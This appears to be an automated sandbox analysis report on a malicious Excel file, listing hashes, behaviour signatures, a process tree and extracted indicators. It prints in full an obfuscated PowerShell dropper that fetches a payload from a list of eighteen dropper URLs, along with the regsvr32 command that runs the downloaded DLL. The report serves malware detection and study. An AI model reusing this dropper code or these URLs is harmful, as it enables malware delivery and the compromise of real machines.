Analysis

  • max time kernel
    15s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:49

General

  • Target

    74797e15e5b212239e3354233e722d56147440398c2d7eda8873d726c451da67.xls

  • Size

    438KB

  • MD5

    0781e48bff4089188229288b5bbe428c

  • SHA1

    fd8b8081e802444372dbb8722a5e9ce58ce20261

  • SHA256

    74797e15e5b212239e3354233e722d56147440398c2d7eda8873d726c451da67

  • SHA512

    b6d54f6f0dc284a0434beaf28c264ad4eff8228e8e32a9e745738e782cba39377b733111c15f16b20aa50a0c8b5c28c79b7529ad776ee4a875168fb91488266d

  • SSDEEP

    12288:J947a/JjsLZjXYc7X0/aXCKli04OaZ1XSwbhF0:ZurYc7E/i004OSLbhF0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://wildmanwildfood.com/wp-admin/wxyadXKXFe/

exe.dropper

https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/

exe.dropper

https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/

exe.dropper

https://fastonlineearn.com/wp-content/L/

exe.dropper

https://mbmscaffolding.co.uk/test/3j/

exe.dropper

https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/

exe.dropper

https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/

exe.dropper

http://lonaomer.com/wp-content/6G/

exe.dropper

https://tainformado.com.br/wp-content/0Ysot/

exe.dropper

https://nifdtb.in/wp-content/9uHo3GBgyIQ/

exe.dropper

https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/

exe.dropper

https://narsanat.com/banner/TnIhz/

exe.dropper

https://vanessanascimento.com.br/auren-xbox/cDD2dfW/

exe.dropper

https://medvital.com.br/arquivos/q6ZjbPPoR7l/

exe.dropper

https://mcjalandhar.in/1950-kill/BMoLHJM4g/

exe.dropper

https://nuranabd.com/wp-content/BhYOZ2pJV5q/

exe.dropper

https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/

exe.dropper

http://news.leta.com.vn/-/NQOY80o/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\74797e15e5b212239e3354233e722d56147440398c2d7eda8873d726c451da67.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\etyockqw.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:772
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \??\c:\programdata\etyockqw.vbs

    Filesize

    2KB

    MD5

    a35f55cf91f2003615533b5be5948090

    SHA1

    b5b89075550e2592b69f4541cfbdf33dd8fbf175

    SHA256

    d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c

    SHA512

    098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899

  • memory/2332-61-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2332-11-0x0000000007340000-0x0000000007440000-memory.dmp

    Filesize

    1024KB

  • memory/2332-40-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-39-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-47-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-10-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-1-0x0000000072C5D000-0x0000000072C68000-memory.dmp

    Filesize

    44KB

  • memory/2332-59-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-65-0x0000000072C5D000-0x0000000072C68000-memory.dmp

    Filesize

    44KB

  • memory/2332-66-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-67-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-68-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-69-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB

  • memory/2332-70-0x0000000006680000-0x0000000006780000-memory.dmp

    Filesize

    1024KB